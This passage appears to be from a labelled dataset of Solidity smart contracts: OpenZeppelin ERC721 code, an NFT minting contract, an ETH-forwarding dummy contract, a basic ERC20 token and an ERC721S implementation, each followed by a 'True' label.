(token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); } contract dabc is ERC721, Ownable, IERC721Enumerable { mapping (address => bool) public _whitelisted; mapping (address => uint) public _minted; uint public salePrice; uint public whitelistPrice; uint public maxSupply; uint public maxPerTx; uint public maxPerWallet; uint public counter = 1; bool public publicMintStatus; string public baseURI; function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; } function setSalePrice(uint price) external onlyOwner { salePrice = price; } function setWhitelistPrice(uint price) external onlyOwner { whitelistPrice = price; } function setMaxSupply(uint supply) external onlyOwner { maxSupply = supply; } function addToWhitelist(address[] memory whitelisted) external onlyOwner { for(uint i=0; i < whitelisted.length; i++){ _whitelisted[whitelisted[i]] = !_whitelisted[whitelisted[i]]; } } function setMaxPerTx(uint max) external onlyOwner { maxPerTx = max; } function setMaxPerWallet(uint max) external onlyOwner { maxPerWallet = max; } function setPublicMintStatus() external onlyOwner { publicMintStatus = !publicMintStatus; } function totalSupply() public view virtual override returns(uint) { return counter - 1; } function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } constructor() ERC721("Doodle Apes Billionaire Club", "DABC") {} function publicMint(uint amount) external payable { require(publicMintStatus, "Sale not active!"); require(counter + amount <= maxSupply + 1, "Not enough tokens to sell!"); require(amount <= maxPerTx, "Incorrect amount!"); require(_minted[msg.sender] + amount <= maxPerWallet, "Incorrect amount!"); if(_whitelisted[msg.sender]){ require(msg.value == whitelistPrice * amount, "Incorrect amount!"); for(uint i=0; i < amount; i++){ _safeMint(msg.sender, counter++); _minted[msg.sender]++; } }else{ require(msg.value == salePrice * amount, "Incorrect amount!"); for(uint i=0; i < amount; i++){ _safeMint(msg.sender, counter++); _minted[msg.sender]++; } } } }

True

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// SPDX-License-Identifier: MIT // Smart Contract Written by: Ian Olson pragma solidity ^0.8.4; pragma abicoder v2; contract DummyContract { // --- // Properties // --- address private _payoutAddress; // --- // Mappings // --- mapping(address => bool) isAdmin; // --- // Modifiers // --- modifier onlyAdmin() { require(isAdmin[msg.sender], "Only admins."); _; } // --- // Constructor // --- constructor() { _payoutAddress = msg.sender; isAdmin[msg.sender] = true; // imnotArt Deployer Address } // --- // Receive Payments // --- // @dev Receive ETH - to test out existing .transfer() methods calling a better proxy contract // @author Ian Olson receive() payable external { require(msg.value > 0, "Must send more than 0."); payable(_payoutAddress).transfer(msg.value); } // --- // Get Functions // --- // @dev Get the payout address // @author Ian Olson function payoutAddress() public view returns (address) { return _payoutAddress; } // --- // Update Functions // --- // @dev Update the payout address. // @author Ian Olson function updatePayoutAddress(address payoutAddress) public onlyAdmin { _payoutAddress = payoutAddress; } // --- // Withdraw // --- // @dev Withdraw the balance of the contract. // @author Ian Olson function withdraw() public onlyAdmin { uint256 amount = address(this).balance; require(amount > 0, "Contract balance empty."); (bool success, ) = payable(msg.sender).call{value: amount}(""); require(success, "Transfer failed."); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-03-19 */ pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract wahwah is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "wahwah"; symbol = "wah"; decimals = 18; _totalSupply = 9000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-03 */ // IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // ERC721S.sol pragma solidity ^0.8.10; abstract contract ERC721S is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count = 0; uint length = _owners.length; for( uint i = 0; i < length; ++i ){ if( owner == _owners[i] ){ ++count; } } delete length; return count; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721S.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721S.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721S.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721S.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: 